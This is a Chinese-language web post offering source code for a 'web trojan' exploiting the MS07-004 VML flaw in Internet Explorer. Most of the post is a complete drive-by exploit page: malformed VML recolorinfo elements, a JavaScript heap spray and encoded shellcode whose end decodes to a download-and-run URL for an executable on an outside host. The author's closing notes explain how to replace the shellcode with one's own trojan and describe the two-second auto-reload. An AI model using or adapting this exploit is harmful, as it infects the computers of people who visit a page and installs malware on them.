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新编MS07004网页木马源码代码
摘要:复制代码代码如下:v:*{behavior:url(#VMLRender);}setTimeout("document.location.r...

复制代码 代码如下:

<htmlxmlns:v="urn:schemas-microsoft-com:vml">

<head>

<objectid="VMLRender"

classid="CLSID:10072CEC-8CC1-11D1-986E-00A0C955B42E">

</object>

<style>

v:*{behavior:url(#VMLRender);}

</style>

</head>

<body>

<SCRIPTlanguage="javascript">

setTimeout("document.location.reload(false)",2000);

shellcode=unescape("%u9090%u9090%u0feb%u335b%u66c9%u80b9%u8001%uef33%ue243%uebfa%ue805%uffec%uffff%u8b7f%udf4e%uefef%u64ef%ue3af%u9f64%u42f3%u9f64%u6ee7%uef03%uefeb%u64ef%ub903%u6187%ue1a1%u0703%uef11%uefef%uaa66%ub9eb%u7787%u6511%u07e1%uef1f%uefef%uaa66%ub9e7%uca87%u105f%u072d%uef0d%uefef%uaa66%ub9e3%u0087%u0f21%u078f%uef3b%uefef%uaa66%ub9ff%u2e87%u0a96%u0757%uef29%uefef%uaa66%uaffb%ud76f%u9a2c%u6615%uf7aa%ue806%uefee%ub1ef%u9a66%u64cb%uebaa%uee85%u64b6%uf7ba%u07b9%uef64%uefef%u87bf%uf5d9%u9fc0%u7807%uefef%u66ef%uf3aa%u2a64%u2f6c%u66bf%ucfaa%u1087%uefef%ubfef%uaa64%u85fb%ub6ed%uba64%u07f7%uef8e%uefef%uaaec%u28cf%ub3ef%uc191%u288a%uebaf%u8a97%uefef%u9a10%u64cf%ue3aa%uee85%u64b6%uf7ba%uaf07%uefef%u85ef%ub7e8%uaaec%udccb%ubc34%u10bc%ucf9a%ubcbf%uaa64%u85f3%ub6ea%uba64%u07f7%uefcc%uefef%uef85%u9a10%u64cf%ue7aa%ued85%u64b6%uf7ba%uff07%uefef%u85ef%u6410%uffaa%uee85%u64b6%uf7ba%uef07%uefef%uaeef%ubdb4%u0eec%u0eec%u0eec%u0eec%u036c%ub5eb%u64bc%u0d35%ubd18%u0f10%u64ba%u6403%ue792%ub264%ub9e3%u9c64%u64d3%uf19b%uec97%ub91c%u9964%ueccf%udc1c%ua626%u42ae%u2cec%udcb9%ue019%uff51%u1dd5%ue79b%u212e%uece2%uaf1d%u1e04%u11d4%u9ab1%ub50a%u0464%ub564%ueccb%u8932%ue364%u64a4%uf3b5%u32ec%ueb64%uec64%ub12a%u2db2%uefe7%u1b07%u1011%uba10%ua3bd%ua0a2%uefa1%u7468%u7074%u2F3A%u772F%u7777%u2E31%u6168%u6B63%u7265%u6F6F%u6F63%u2F6D%u2E31%u7865%u0065");

bigblock=unescape("%u0505%u0505");

headersize=20;

slackspace=headersize+shellcode.length;

while(bigblock.length<slackspace)bigblock+=bigblock;

fillblock=bigblock.substring(0,slackspace);

block=bigblock.substring(0,bigblock.length-slackspace);

while(block.length+slackspace<0x40000)block=block+block+fillblock;

memory=newArray();

for(i=0;i<450;i++)memory[i]=block+shellcode;

</script>

<v:rectstyle='width:120pt;height:80pt'fillcolor="red">

<v:recolorinfoNumColOrS="97612895"recolorstate="t">

<v:recolorinfoentrytocolor="rgb(1,0,64)"recolortype="1285"

lbcolor="rgb(1,0,64)"forecolor="rgb(1,0,64)"backcolor="rgb(1,0,64)"

fromcolor="rgb(1,0,64)"lbstyle="32"bitmaptype="3"/>

<v:recolorinfoentrytocolor="rgb(1,0,64)"recolortype="1285"

lbcolor="rgb(1,0,64)"forecolor="rgb(1,0,64)"backcolor="rgb(1,0,64)"

fromcolor="rgb(1,0,64)"lbstyle="32"bitmaptype="3"/>

<v:recolorinfoentrytocolor="rgb(1,0,64)"recolortype="1285"

lbcolor="rgb(1,0,64)"forecolor="rgb(1,0,64)"backcolor="rgb(1,0,64)"

fromcolor="rgb(1,0,64)"lbstyle="32"bitmaptype="3"/>

<v:recolorinfoentrytocolor="rgb(1,0,64)"recolortype="1285"

lbcolor="rgb(1,0,64)"forecolor="rgb(1,0,64)"backcolor="rgb(1,0,64)"

fromcolor="rgb(1,0,64)"lbstyle="32"bitmaptype="3"/>

<v:recolorinfoentrytocolor="rgb(1,0,64)"recolortype="1285"

lbcolor="rgb(1,0,64)"forecolor="rgb(1,0,64)"backcolor="rgb(1,0,64)"

fromcolor="rgb(1,0,64)"lbstyle="32"bitmaptype="3"/>

<v:recolorinfoentrytocolor="rgb(1,0,64)"recolortype="1285"

lbcolor="rgb(1,0,64)"forecolor="rgb(1,0,64)"backcolor="rgb(1,0,64)"

fromcolor="rgb(1,0,64)"lbstyle="32"bitmaptype="3"/>

<v:recolorinfoentrytocolor="rgb(1,0,64)"recolortype="1285"

lbcolor="rgb(1,0,64)"forecolor="rgb(1,0,64)"backcolor="rgb(1,0,64)"

fromcolor="rgb(1,0,64)"lbstyle="32"bitmaptype="3"/>

<v:recolorinfoentrytocolor="rgb(1,0,64)"recolortype="1285"

lbcolor="rgb(1,0,64)"forecolor="rgb(1,0,64)"backcolor="rgb(1,0,64)"

fromcolor="rgb(1,0,64)"lbstyle="32"bitmaptype="3"/>

<v:recolorinfoentrytocolor="rgb(1,0,64)"recolortype="1285"

lbcolor="rgb(1,0,64)"forecolor="rgb(1,0,64)"backcolor="rgb(1,0,64)"

fromcolor="rgb(1,0,64)"lbstyle="32"bitmaptype="3"/>

<v:recolorinfoentrytocolor="rgb(1,0,64)"recolortype="1285"

lbcolor="rgb(1,0,64)"forecolor="rgb(1,0,64)"backcolor="rgb(1,0,64)"

fromcolor="rgb(1,0,64)"lbstyle="32"bitmaptype="3"/>

<v:recolorinfoentrytocolor="rgb(1,0,64)"recolortype="1285"

lbcolor="rgb(1,0,64)"forecolor="rgb(1,0,64)"backcolor="rgb(1,0,64)"

fromcolor="rgb(1,0,64)"lbstyle="32"bitmaptype="3"/>

<v:recolorinfoentrytocolor="rgb(1,0,64)"recolortype="1285"

lbcolor="rgb(1,0,64)"forecolor="rgb(1,0,64)"backcolor="rgb(1,0,64)"

fromcolor="rgb(1,0,64)"lbstyle="32"bitmaptype="3"/>

<v:recolorinfoentrytocolor="rgb(1,0,64)"recolortype="1285"

lbcolor="rgb(1,0,64)"forecolor="rgb(1,0,64)"backcolor="rgb(1,0,64)"

fromcolor="rgb(1,0,64)"lbstyle="32"bitmaptype="3"/>

<v:recolorinfoentrytocolor="rgb(1,0,64)"recolortype="1285"

lbcolor="rgb(1,0,64)"forecolor="rgb(1,0,64)"backcolor="rgb(1,0,64)"

fromcolor="rgb(1,0,64)"lbstyle="32"bitmaptype="3"/>

<v:recolorinfoentrytocolor="rgb(1,0,64)"recolortype="1285"

lbcolor="rgb(1,0,64)"forecolor="rgb(1,0,64)"backcolor="rgb(1,0,64)"

fromcolor="rgb(1,0,64)"lbstyle="32"bitmaptype="3"/>

<v:recolorinfoentrytocolor="rgb(1,0,64)"recolortype="1285"

lbcolor="rgb(1,0,64)"forecolor="rgb(1,0,64)"backcolor="rgb(1,0,64)"

fromcolor="rgb(1,0,64)"lbstyle="32"bitmaptype="3"/>

<v:recolorinfoentrytocolor="rgb(1,0,64)"recolortype="1285"

lbcolor="rgb(1,0,64)"forecolor="rgb(1,0,64)"backcolor="rgb(1,0,64)"

fromcolor="rgb(1,0,64)"lbstyle="32"bitmaptype="3"/>

<v:recolorinfoentrytocolor="rgb(1,0,64)"recolortype="1285"

lbcolor="rgb(1,0,64)"forecolor="rgb(1,0,64)"backcolor="rgb(1,0,64)"

fromcolor="rgb(1,0,64)"lbstyle="32"bitmaptype="3"/>

<v:recolorinfoentrytocolor="rgb(1,0,64)"recolortype="1285"

lbcolor="rgb(1,0,64)"forecolor="rgb(1,0,64)"backcolor="rgb(1,0,64)"

fromcolor="rgb(1,0,64)"lbstyle="32"bitmaptype="3"/>

<v:recolorinfoentrytocolor="rgb(1,0,64)"recolortype="1285"

lbcolor="rgb(1,0,64)"forecolor="rgb(1,0,64)"backcolor="rgb(1,0,64)"

fromcolor="rgb(1,0,64)"lbstyle="32"bitmaptype="3"/>

<v:recolorinfoentrytocolor="rgb(1,0,64)"recolortype="1285"

lbcolor="rgb(1,0,64)"forecolor="rgb(1,0,64)"backcolor="rgb(1,0,64)"

fromcolor="rgb(1,0,64)"lbstyle="32"bitmaptype="3"/>

<v:recolorinfoentrytocolor="rgb(1,0,64)"recolortype="1285"

lbcolor="rgb(1,0,64)"forecolor="rgb(1,0,64)"backcolor="rgb(1,0,64)"

fromcolor="rgb(1,0,64)"lbstyle="32"bitmaptype="3"/>

<v:recolorinfoentrytocolor="rgb(1,0,64)"recolortype="1285"

lbcolor="rgb(1,0,64)"forecolor="rgb(1,0,64)"backcolor="rgb(1,0,64)"

fromcolor="rgb(1,0,64)"lbstyle="32"bitmaptype="3"/>

<v:recolorinfoentrytocolor="rgb(1,0,64)"recolortype="1285"

lbcolor="rgb(1,0,64)"forecolor="rgb(1,0,64)"backcolor="rgb(1,0,64)"

fromcolor="rgb(1,0,64)"lbstyle="32"bitmaptype="3"/>

<v:recolorinfoentrytocolor="rgb(1,0,64)"recolortype="1285"

lbcolor="rgb(1,0,64)"forecolor="rgb(1,0,64)"backcolor="rgb(1,0,64)"

fromcolor="rgb(1,0,64)"lbstyle="32"bitmaptype="3"/>

<v:recolorinfoentrytocolor="rgb(1,0,64)"recolortype="1285"

lbcolor="rgb(1,0,64)"forecolor="rgb(1,0,64)"backcolor="rgb(1,0,64)"

fromcolor="rgb(1,0,64)"lbstyle="32"bitmaptype="3"/>

<v:recolorinfoentrytocolor="rgb(1,0,64)"recolortype="1285"

lbcolor="rgb(1,0,64)"forecolor="rgb(1,0,64)"backcolor="rgb(1,0,64)"

fromcolor="rgb(1,0,64)"lbstyle="32"bitmaptype="3"/>

<v:recolorinfoentrytocolor="rgb(1,0,64)"recolortype="1285"

lbcolor="rgb(1,0,64)"forecolor="rgb(1,0,64)"backcolor="rgb(1,0,64)"

fromcolor="rgb(1,0,64)"lbstyle="32"bitmaptype="3"/>

<v:recolorinfoentrytocolor="rgb(1,0,64)"recolortype="1285"

lbcolor="rgb(1,0,64)"forecolor="rgb(1,0,64)"backcolor="rgb(1,0,64)"

fromcolor="rgb(1,0,64)"lbstyle="32"bitmaptype="3"/>

<v:recolorinfoentrytocolor="rgb(1,0,64)"recolortype="1285"

lbcolor="rgb(1,0,64)"forecolor="rgb(1,0,64)"backcolor="rgb(1,0,64)"

fromcolor="rgb(1,0,64)"lbstyle="32"bitmaptype="3"/>

<v:recolorinfoentrytocolor="rgb(1,0,64)"recolortype="1285"

lbcolor="rgb(1,0,64)"forecolor="rgb(1,0,64)"backcolor="rgb(1,0,64)"

fromcolor="rgb(1,0,64)"lbstyle="32"bitmaptype="3"/>

<v:recolorinfoentrytocolor="rgb(1,0,64)"recolortype="1285"

lbcolor="rgb(1,0,64)"forecolor="rgb(1,0,64)"backcolor="rgb(1,0,64)"

fromcolor="rgb(1,0,64)"lbstyle="32"bitmaptype="3"/>

<v:recolorinfoentrytocolor="rgb(1,0,64)"recolortype="1285"

lbcolor="rgb(1,0,64)"forecolor="rgb(1,0,64)"backcolor="rgb(1,0,64)"

fromcolor="rgb(1,0,64)"lbstyle="32"bitmaptype="3"/>

<v:recolorinfoentrytocolor="rgb(1,0,64)"recolortype="1285"

lbcolor="rgb(1,0,64)"forecolor="rgb(1,0,64)"backcolor="rgb(1,0,64)"

fromcolor="rgb(1,0,64)"lbstyle="32"bitmaptype="3"/>

<v:recolorinfoentrytocolor="rgb(1,0,64)"recolortype="1285"

lbcolor="rgb(1,0,64)"forecolor="rgb(1,0,64)"backcolor="rgb(1,0,64)"

fromcolor="rgb(1,0,64)"lbstyle="32"bitmaptype="3"/>

<v:recolorinfoentrytocolor="rgb(1,0,64)"recolortype="1285"

lbcolor="rgb(1,0,64)"forecolor="rgb(1,0,64)"backcolor="rgb(1,0,64)"

fromcolor="rgb(1,0,64)"lbstyle="32"bitmaptype="3"/>

<v:recolorinfoentrytocolor="rgb(1,0,64)"recolortype="1285"

lbcolor="rgb(1,0,64)"forecolor="rgb(1,0,64)"backcolor="rgb(1,0,64)"

fromcolor="rgb(1,0,64)"lbstyle="32"bitmaptype="3"/>

<v:recolorinfoentrytocolor="rgb(1,0,64)"recolortype="1285"

lbcolor="rgb(1,0,64)"forecolor="rgb(1,0,64)"backcolor="rgb(1,0,64)"

fromcolor="rgb(1,0,64)"lbstyle="32"bitmaptype="3"/>

<v:recolorinfoentrytocolor="rgb(1,0,64)"recolortype="1285"

lbcolor="rgb(1,0,64)"forecolor="rgb(1,0,64)"backcolor="rgb(1,0,64)"

fromcolor="rgb(1,0,64)"lbstyle="32"bitmaptype="3"/>

<v:recolorinfoentrytocolor="rgb(1,0,64)"recolortype="1285"

lbcolor="rgb(1,0,64)"forecolor="rgb(1,0,64)"backcolor="rgb(1,0,64)"

fromcolor="rgb(1,0,64)"lbstyle="32"bitmaptype="3"/>

<v:recolorinfoentrytocolor="rgb(1,0,64)"recolortype="1285"

lbcolor="rgb(1,0,64)"forecolor="rgb(1,0,64)"backcolor="rgb(1,0,64)"

fromcolor="rgb(1,0,64)"lbstyle="32"bitmaptype="3"/>

<v:recolorinfoentrytocolor="rgb(1,0,64)"recolortype="1285"

lbcolor="rgb(1,0,64)"forecolor="rgb(1,0,64)"backcolor="rgb(1,0,64)"

fromcolor="rgb(1,0,64)"lbstyle="32"bitmaptype="3"/>

<v:recolorinfoentrytocolor="rgb(1,0,64)"recolortype="1285"

lbcolor="rgb(1,0,64)"forecolor="rgb(1,0,64)"backcolor="rgb(1,0,64)"

fromcolor="rgb(1,0,64)"lbstyle="32"bitmaptype="3"/>

<v:recolorinfoentrytocolor="rgb(1,0,64)"recolortype="1285"

lbcolor="rgb(1,0,64)"forecolor="rgb(1,0,64)"backcolor="rgb(1,0,64)"

fromcolor="rgb(1,0,64)"lbstyle="32"bitmaptype="3"/>

<v:recolorinfoentrytocolor="rgb(1,0,64)"recolortype="1285"

lbcolor="rgb(1,0,64)"forecolor="rgb(1,0,64)"backcolor="rgb(1,0,64)"

fromcolor="rgb(1,0,64)"lbstyle="32"bitmaptype="3"/>

<v/recolorinfo>

</html>

事先说明`这个不是平衡堆栈处理过`平衡堆栈的貌似要1W大元。

我修改的这个还算可以,成功后会关掉IE,但不出现IE错误,至于卡不卡`我没感觉出来,虚拟机没办法感觉,,使用方法,用幻影的那个生成器`把自己的木马生成出来`把shellcode替换掉本代码里,就是

shellcode=unescape("%u9090%u9090%u0feb%u335b%u66c9%u80b9%u8001%uef33%ue243%uebfa%ue805%uffec%uffff%u8b7f%udf4e%uefef%u64ef%ue3af%u9f64%u42f3%u9f64%u6ee7%uef03%uefeb%u64ef%ub903%u6187%ue1a1%u0703%uef11%uefef%uaa66%ub9eb%u7787%u6511%u07e1%uef1f%uefef%uaa66%ub9e7%uca87%u105f%u072d%uef0d%uefef%uaa66%ub9e3%u0087%u0f21%u078f%uef3b%uefef%uaa66%ub9ff%u2e87%u0a96%u0757%uef29%uefef%uaa66%uaffb%ud76f%u9a2c%u6615%uf7aa%ue806%uefee%ub1ef%u9a66%u64cb%uebaa%uee85%u64b6%uf7ba%u07b9%uef64%uefef%u87bf%uf5d9%u9fc0%u7807%uefef%u66ef%uf3aa%u2a64%u2f6c%u66bf%ucfaa%u1087%uefef%ubfef%uaa64%u85fb%ub6ed%uba64%u07f7%uef8e%uefef%uaaec%u28cf%ub3ef%uc191%u288a%uebaf%u8a97%uefef%u9a10%u64cf%ue3aa%uee85%u64b6%uf7ba%uaf07%uefef%u85ef%ub7e8%uaaec%udccb%ubc34%u10bc%ucf9a%ubcbf%uaa64%u85f3%ub6ea%uba64%u07f7%uefcc%uefef%uef85%u9a10%u64cf%ue7aa%ued85%u64b6%uf7ba%uff07%uefef%u85ef%u6410%uffaa%uee85%u64b6%uf7ba%uef07%uefef%uaeef%ubdb4%u0eec%u0eec%u0eec%u0eec%u036c%ub5eb%u64bc%u0d35%ubd18%u0f10%u64ba%u6403%ue792%ub264%ub9e3%u9c64%u64d3%uf19b%uec97%ub91c%u9964%ueccf%udc1c%ua626%u42ae%u2cec%udcb9%ue019%uff51%u1dd5%ue79b%u212e%uece2%uaf1d%u1e04%u11d4%u9ab1%ub50a%u0464%ub564%ueccb%u8932%ue364%u64a4%uf3b5%u32ec%ueb64%uec64%ub12a%u2db2%uefe7%u1b07%u1011%uba10%ua3bd%ua0a2%uefa1%u7468%u7074%u2F3A%u772F%u7777%u2E31%u6168%u6B63%u7265%u6F6F%u6F63%u2F6D%u2E31%u7865%u0065");

另外,

bigblock=unescape("%u0505%u0505");

headersize=20;

slackspace=headersize+shellcode.length;

while(bigblock.length<slackspace)bigblock+=bigblock;

fillblock=bigblock.substring(0,slackspace);

block=bigblock.substring(0,bigblock.length-slackspace);

while(block.length+slackspace<0x40000)block=block+block+fillblock;

memory=newArray();

for(i=0;i<450;i++)memory[i]=block+shellcode;

这里是反着写的,带自刷新,这样效果会更好,不想自刷新`可以自己修改

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